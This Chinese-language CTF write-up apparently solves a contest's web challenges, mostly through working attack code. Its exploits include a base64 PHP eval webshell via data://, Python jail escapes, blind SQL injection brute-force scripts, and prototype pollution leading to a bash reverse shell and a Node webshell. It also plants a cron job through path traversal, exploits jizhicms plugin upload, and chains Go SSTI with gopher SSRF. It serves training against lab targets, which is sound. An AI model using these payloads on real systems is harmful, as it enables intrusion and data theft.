Include Me
源码如下
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}
//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}
waf();
include $_GET['me'];
echo "兄弟你好香";
?>
文件包含漏洞,并且只能打data伪协议,通过phpinfo查看发现allow_url_fopen,allow_url_include同时开启直接打
接着就是绕 waf,这里使用的是 data 协议加 base64 加密
http
GET /?iknow=1&me=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+%2B HTTP/1.1
<?php @eval($_POST[0])?> 的 Base64 加密结果为 PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+,加号作转义
臭皮踩踩背
题目源码 是个pyjail
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
完整源码:
python
print('你被豌豆关在一个监狱里……')
print('豌豆百密一疏,不小心遗漏了一些东西…')
print('''def ev4l(*args):\n\tprint(secret)\ninp = input("> ")\nf = lambda: None\nprint(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))''')
print('能不能逃出去给豌豆踩踩背就看你自己了,臭皮…')
def ev4l(*args):
print(secret)
secret = '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?'
inp = input("> ")
f = lambda: None
if "f.__globals__['__builtins__'].eval" in inp:
f.__globals__['__builtins__'].eval = ev4l
else:
f.__globals__['__builtins__'].eval = eval
try:
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
except Exception as e:
print(f"Error: {e}")
由于全局 global 中没有 print,从而从 builtins 中寻找,而 builtins 为 None,触发错误。
但注意看,题目刚好给了一个匿名函数 f,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 globals 属性来逃逸。我们可以在 Python 终端测试一下:
>>> f = lambda: None
>>> f.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'f': <function <lambda> at 0x0000026073850700>}
函数的 globals 记录的是这个函数所在的 globals 空间,而这个 f 函数是在题目源码的环境中(而不是题目的 eval 的沙箱中),我们从而获取到了原始的 globals 环境,然后我们便可以从这个原始 globals 中获取到原始 builtins:
f.__globals__['__builtins__']
所以可以
>>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })'''
>>> eval(inp, {"__builtins__": None, 'f': f})
或者我们通过获得_frozen_importlib_external.FileLoader
这个类调用get_data方法读文件
> ''.__class__.__mro__[1].__subclasses__()[99].get_data(0,'/flag')
b'flag{fe3736bd-5134-43bf-bf7d-6bf697f7def7}\n'
臭皮的计算器
开发者工具查看网页源码根据提示进入 /calc 路由,查看网页源码
得到了 Python 后端源码
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token
@app.route("/")
def index():
return render_template("index.html")
@app.route("/calc", methods=['POST', 'GET'])
def calc():
if request.method == 'POST':
num = request.form.get("num")
script = f'''import os
print(eval("{num}"))
'''
print(script)
if waf(num):
try:
result_output = ''
with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
temp_script.write(script)
temp_script_path = temp_script.name
result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
os.remove(temp_script_path)
result_output = result.stdout if result.returncode == 0 else result.stderr
except Exception as e:
result_output = str(e)
return render_template("calc.html", result=result_output)
else:
return render_template("calc.html", result="臭皮!你想干什么!!")
return render_template("calc.html", result='试试呗')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=30002)
审计发现过滤了所有字母,使用全角英文和 chr() 字符拼接(或八进制)即可绕过
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
其中 111 115 分别对应 os 的 ASCII 码,99 97 116 32 47 102 108 97 103 分别对应 cat /flag 的 ASCII 码
由于没有字母,我们利用python的八进制执行代码
__import__("os").popen("cat /f*").read()
转换之后如下
\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\160\157\160\145\156\50\42\143\141\164\40\57\146\52\42\51\56\162\145\141\144\50\51
bindsql
能够根据姓名查询成绩
加入单引号时,查询失败,说明存在注入
尝试 Alice' or 1=1#(注意 # 要 URL 编码成 %23)时,提示空格被禁用了
发现过滤了空格 substr ascii 和 = 我们用%a0 mid 以及like绕过
多次尝试,会发现 union = / 都被禁用了。union 被禁用,说明此时该使用盲注,我们能够通过插入 and 1 或者 and 0 来控制是否返回数据,由此可以使用布尔盲注, = 的绕过可以使用 like 或者 in 代替 空格和斜杠 / 被禁用,可以使用括号代替
编写盲注爆破脚本如下
爆破表名
import requests,string,time
url = ''
result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + '_-{}':
time.sleep(0.2) # 限制速率,防止请求过快
print('[+] Trying:', c)
# 这条语句能查询到当前数据库所有的表名
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
# 获取所有表名的第 i 个字符,并计算 ascii 值
char = f'(ord(mid({tables},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'
res = requests.get(url, params={'student_name': p})
if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break
爆破 secrets 表的列名
import requests,string,time
url = ''
result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+] Trying:', c)
tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
char = f'(ord(mid({tables},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'
res = requests.get(url, params={'student_name': p})
if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break
爆破 flag
import requests,string,time
url = ''
result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+] Trying:', c)
tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
char = f'(ord(mid({tables},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'
res = requests.get(url, params={'student_name': p})
if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break
由于Week4难度比较大有js PP2RCE还有Go的特性,另起一篇WP详细分析
blindsql2
相比于之前,发现可以用in来绕过等于号,用括号绕过括号
写脚本爆破当前数据库所有表名
import requests, string, time
url = 'http://ip:port'
result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+]trying:', c)
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({tables},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'
res = requests.get(url, params={'student_name':p})
if res.elapsed.total_seconds() > 1.5:
print('[*]bingo:', c)
result += c
print(result)
break
爆破 secrets
表的列名
import requests, string, time
url = 'http://ip:port'
result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+]trying:' ,c)
columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({columns},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'
res = requests.get(url, params={'student_name':p})
if res.elapsed.total_seconds() > 1.5:
print('[*]bingo:', c)
result += c
print(result)
break
爆破 flag
import requests, string, time
url = 'http://ip:port'
result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快
print('[+]trying:', c)
flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
# 获取第 i 个字符,并计算 ascii 值
char = f'(ord(mid({flag},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,会执行 sleep(1.5)
p = f'Alice\'and(if({b},sleep(1.5),0))#'
res = requests.get(url, params={'student_name':p})
if res.elapsed.total_seconds() > 1.5:
print('[*]bingo:', c)
result += c
print(result)
break
Ezpollute
根据题目名称可知,这是一道 JavaScript 的原型链污染题
查看部署文件,可以得知 Node.js 版本为 16,并且使用了 node-dev
热部署启动
审计 index.js
, /config
路由下调用了 merge
函数, merge
函数意味着可能存在的原型链污染漏洞
router.post('/config', async (ctx) => {
jsonData = ctx.request.rawBody || "{}"
token = ctx.cookies.get('token')
if (!token) {
return ctx.body = {
code: 0,
msg: 'Upload Photo First',
}
}
const [err, userID] = decodeToken(token)
if (err) {
return ctx.body = {
code: 0,
msg: 'Invalid Token',
}
}
userConfig = JSON.parse(jsonData)
try {
finalConfig = clone(defaultWaterMarkConfig)
// 这里喵
merge(finalConfig, userConfig)
fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig))
ctx.body = {
code: 1,
msg: 'Config updated successfully',
}
} catch (e) {
ctx.body = {
code: 0,
msg: 'Some error occurred',
}
}
})
merge
函数在 /util/merge.js
中,虽然过滤了 proto
,但我们可以通过 constructor.prototype
来绕过限制
// /util/merge.js
function merge(target, source) {
if (!isObject(target) || !isObject(source)) {
return target
}
for (let key in source) {
if (key === "__proto__") continue
if (source[key] === "") continue
if (isObject(source[key]) && key in target) {
target[key] = merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target
}
/process
路由调用了 fork
,创建了一个 JavaScript 子进程用于水印添加
javascript
try {
await new Promise((resolve, reject) => {
// 这里喵
const proc = fork(PhotoProcessScript, [userDir], { silent: true })
proc.on('close', (code) => {
if (code === 0) {
resolve('success')
} else {
reject(new Error('An error occurred during execution'))
}
})
proc.on('error', (err) => {
reject(new Error(`Failed to start subprocess: ${err.message}`))
})
})
ctx.body = {
code: 1,
msg: 'Photos processed successfully',
}
} catch (error) {
ctx.body = {
code: 0,
msg: 'some error occurred',
}
}
结合之前的原型链污染漏洞,我们污染 NODE_OPTIONS
和 env
,在 env
中写入恶意代码,fork
在创建子进程时就会首先加载恶意代码,从而实现 RCE
python
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"
}
}
}
}
# 需要注意在 Payload 最后面有注释符 `//`,这里的思路跟 SQL 注入很像
解法二:
由于是热部署我们直接覆盖写webshell
import requests
import re
import base64
from time import sleep
url = "http://url:port"
# 获取 token
# 随便发送点图片获取 token
files = [
('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),
('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
token = match.group(1)
print(f"[+] token: {token}")
headers = {
'Cookie': f'token={token}'
}
# 通过原型链污染 env 注入恶意代码即可 RCE
# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()
router.get("/webshell", async (ctx) => {
const {cmd} = ctx.query
res = require('child_process').execSync(cmd).toString()
return ctx.body = {
res
}
})
app.use(router.routes())
app.listen(3000, () => {
console.log('http://127.0.0.1:3000')
})
"""
# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()
# Base64 解码后写入文件
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
}
}
}
}
# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)
# 触发 fork 实现 RCE
try:
requests.post(url + "/process", headers=headers)
except Exception as e:
pass
sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)
Chocolate
首页分为四个部分(可可液块、可可脂、黑可可粉、糖粉)对应四个小 PHP 考点
根据提示,访问 0ldStar.php
<?php
global $cocoaLiquor_star;
global $what_can_i_say;
include("source.php");
highlight_file(__FILE__);
printf("什么?想做巧克力?");
if(isset($_GET['num'])) {
$num = $_GET['num'];
if($num==="1337") {
die("可爱的捏");
}
if(preg_match("/[a-z]|\./i", $num)) {
die("你干嘛");
}
if(!strpos($num, "0")) {
die("orz orz orz");
}
if(intval($num, 0)===1337) {
print("{$cocoaLiquor_star}\n");
print("{$what_can_i_say}\n");
print("牢师傅如此说到");
}
}
这里考点是八进制绕过检测,过滤了十六进制的字母以及小数的小数点
传入 num=+02471
即可,这个时候会输出
// 可可液块 (g): 1337033
// gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
0x02 可可脂
gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this
是 ROT13 加密,为新生可能遇到的文件读取 ROT13 加密作个铺垫,可以在这熟悉一下(直接当普通移位密码也能试出来)
ROT13 解密之后是 the next level is : cocoaButter_star.php
,进入 cocoaButter_star.php
<?php
global $cocoaButter_star;
global $next;
error_reporting(0);
include "source.php";
$cat=$_GET['cat'];
$dog=$_GET['dog'];
if(is_array($cat) || is_array($dog)){
die("EZ");
}else if ($cat !== $dog && md5($cat) === md5($dog)){
print("of course you konw");
}else {
show_source(__FILE__);
die("ohhh no~");
}
if (isset($_POST['moew'])){
$miao = $_POST['moew'];
if($miao == md5($miao)){
echo $cocoaButter_star;
}
else{
die("qwq? how?");
}
}
$next_level = $_POST['wof'];
if(isset($next_level) && substr(md5($next_level), 0, 5) === '8031b'){
echo $next;
}
第一步是一个 MD5 的强相等,这里可以在网上搜到,比如
cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第二步是一个 MD5 嵌套之后的相等,也就是找到一个 a=md5(a)
可以网上找,也可以脚本爆破,这里传的是 moew=0e215962017
最后一步稍微难点,需要新生写一个脚本去枚举出一个字符串,令其计算 MD5 值后前几位等于 8031b
,以下脚本供参考
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
# MD5 截断数值已知,求原始数据
# 例子 substr(md5(captcha), 0, 6) = 60b7ef
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = '8031b' # 已知的 md5 截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 5
def findmd5(sss): # 输入范围 里面会进行 md5 测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:5] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数与参数列表
pool.close()
pool.join()
这里跑出来的结果 60066549
,那么传参可以是
cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
moew=0e215962017
wof=60066549
0x03 黑可可粉
怕有人放弃,这里直接命名 final
,成功就在眼前了
<?php
include "source.php";
highlight_file(__FILE__);
$food = file_get_contents('php://input');
class chocolate{
public $cat='???';
public $kitty='???';
public function __construct($u, $p){
$this->cat=$u;
$this->kitty=$p;
}
public function eatit(){
return $this->cat===$this->kitty;
}
public function __toString(){
return $this->cat;
}
public function __destruct(){
global $darkCocoaPowder;
echo $darkCocoaPowder;
}
}
$milk=@unserialize($food);
if(preg_match('/chocolate/', $food)){
throw new Exception("Error $milk", 1);
}
简单来说就是这个类的实例被销毁时触发(执行)这个函数,也就是我们通过实例化一个正确的 chocolate
类,等到这个实例被 PHP 销毁,就自然输出我们可能需要的内容了(echo $darkCocoaPowder;
),实际上这个参数的值在 index.php
中抓包或者分析源码也能看出这就是黑可可粉的参数
传入 O:9:"ChocoLate":2:{s:8:"username";s:3:"???";s:8:"password";s:3:"???";}
(至少有一个字母大写即可),输出 // 黑可可粉 (g): 51540
<?php
class chocolate {
public $username='???';
public $password='???';
}
$c = new chocolate();
$a = str_replace("chocolate", "ChocoLate", serialize($c));
var_dump($a);
到这里,没有下一个页面信息,其实套娃也结束了
0x04 糖粉
目前为止就得到了三个参数的正确值,但是还缺少一个,这时候回到验证页面(首页),正确填写了三个值之后,任意填一个 糖粉
的值,页面会返回 太苦
或者 太甜
(布尔盲注)
收集到这个信息后,参考前三个都是整数值,这里也大致可以预计是整数值,通过二分法预计几分钟之内就能轻松拿到正确答案:2042
四个值:
- 1337033
- 202409
- 51540
- 2042
填入之后就会给 flag
easycms
扫到完整源码 jizhicms并能看到版本1.9.5
拿到后台账号密码登录
有几种上传 .zip 文件的方法,都可以获取到文件保存的目录,其中一种是在 栏目管理-栏目列表-新增栏目 中添加附件,上传构造好的包含 php 马的压缩包
上传压缩包
抓包获得保存路径为 /static/upload/file/20241016/1729079175871306.zip,测试可以访问
在插件那边进行抓包,构造请求如下(可以照着网上的漏洞复现依葫芦画瓢,filepath 随便起就行)
POST /admin.php/Plugins/update.html HTTP/1.1
Host: eci-2zedm1lw513xbz1d46c6.cloudeci1.ichunqiu.com
Content-Length: 126
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie:PHPSESSID=0k7pqbk4chhak4ku5aqbfhe7b3
filepath=apidata&action=start-download&type=0&download_url=http%3a//127.0.0.1/static/upload/file/20241016/1729079175871306.zip
访问 /A/exts/shell.php,可以直接进行命令执行
隐藏的密码
根据题目隐藏的密码可能是存在信息泄露,进行目录扫描,可以扫到 env
和 jolokia
端点,可以找到 caef11.passwd
属性是隐藏的
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["caef11.passwd"]}
读到密码后,根据题目描述和属性的名字可得用户名为 caef11
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--abc
Cookie: PHPSESSID=kc8dfc8njb57d311qlmh7ij0d2; JSESSIONID=E1EF0128A9A427C2593DA64FAE3E2102
----abc
Content-Disposition: form-data; name="file"; filename="../etc/cron.d/testt"
Content-Type: application/octet-stream
*/1 * * * * root cat /flag | xargs -I {} touch /{}
----abc--
通过写定时任务(计划任务)的方式,以 flag 为文件名在根目录创建新文件,通过 ls
查看 flag,或者反弹 shell 也可以
pangbai
go 源码如下
package main
import (
"fmt"
"github.com/gorilla/mux" // 路由处理库
"io/ioutil" // 文件读写操作
"net/http" // HTTP服务器相关
"os/exec" // 执行外部命令
"strings" // 字符串处理
"text/template" // 模板解析
)
// Token 结构体用于存储令牌信息
type Token struct {
Stringer
Name string
}
// Config 结构体用于存储配置信息
type Config struct {
Stringer
Name string
JwtKey string
SignaturePath string
}
// Helper 结构体用于存储辅助信息
type Helper struct {
Stringer
User string
Config Config
}
// 初始化配置信息
var config = Config{
Name: "PangBai 过家家 (4)",
JwtKey: RandString(64), // 生成随机JWT密钥
SignaturePath: "./sign.txt", // 签名文件路径
}
// Curl 方法用于执行curl命令
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}
// routeIndex 处理根路径请求,返回index.html页面
func routeIndex(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "views/index.html")
}
// routeEye 处理/eye路径请求
func routeEye(w http.ResponseWriter, r *http.Request) {
input := r.URL.Query().Get("input") // 获取查询参数
if input == "" {
input = "{{ .User }}" // 默认值
}
// 读取模板文件
content, err := ioutil.ReadFile("views/eye.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)
if err != nil {
input := "[error]"
tmplStr = strings.Replace(string(content), "%s", input, -1)
tmpl, err = template.New("eye").Parse(tmplStr)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
}
// 从cookie中获取用户信息
user := "PangBai"
token, err := r.Cookie("token")
if err != nil {
token = &http.Cookie{Name: "token", Value: ""}
}
o, err := validateJwt(token.Value)
if err == nil {
user = o.Name
}
// 生成新的token
newToken, err := genJwt(Token{Name: user})
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
http.SetCookie(w, &http.Cookie{
Name: "token",
Value: newToken,
})
// 渲染模板
helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)
if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}
// routeFavorite 处理/favorite路径请求
func routeFavorite(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPut { // 处理PUT请求
// 确保只有localhost可以访问
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}
token, _ := r.Cookie("token")
o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}
if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}
if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}
// 渲染页面
tmpl, err := template.ParseFiles("views/favorite.html")
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
return
}
sig, err := ioutil.ReadFile(config.SignaturePath)
if err != nil {
http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, string(sig))
if err != nil {
http.Error(w, "[error]", http.StatusInternalServerError)
return
}
}
// main 函数启动HTTP服务器
func main() {
r := mux.NewRouter()
r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)
r.PathPrefix("/assets").Handler(http.StripPrefix("/assets", noDirList(http.FileServer(http.Dir("./assets")))))
fmt.Println("Starting server on :8000")
http.ListenAndServe(":8000", r)
}
发现eye路由存在ssti漏洞直接并且模板渲染的结构体中存在jwtkey
err = tmpl.Execute(w, helper)
type Helper struct {
Stringer
User string
Config Config
}
// 初始化配置信息
var config = Config{
Name: "PangBai 过家家 (4)",
JwtKey: RandString(64), // 生成随机JWT密钥
SignaturePath: "./sign.txt", // 签名文件路径
}
payload:
{{.Config.JwtKey}}
拿到jwt的key
QTKUVgo4Kslrbbi1UIiPybGLHypyP4Yd4oPXIyFC3pIlpIKEqQdHBsLsbI2K5gwI
favorite
路由中有更改jwt路径读取文件内容的功能,我们可以读取flag,然后ssti读取即可
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
可以通过Curl函数(因为他也是Helper结构体的函数 )请求路由favorite
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}
首先要伪造jwt绕过过滤
![[cf9eef72a87a260031b8e0d5048fb609.png]]
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjk2NTgwNDUsInVzZXIiOiIxMjMifQ.HLi0vblLag-6QTS_0N9406JxwC_FWvglALeAFcIneqk
Gopher 协议是一个互联网早期的协议,可以直接发送任意 TCP 报文。其 URI 格式为:gopher://远程地址/_编码的报文
,表示将报文原始内容发送到远程地址.
然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量:
PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0
Content-Length: 18
/proc/self/environ
构造gopher,然后调用 curl,在 /eye
路由访问 {{ .Curl "gopher://..." }}
即可
gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron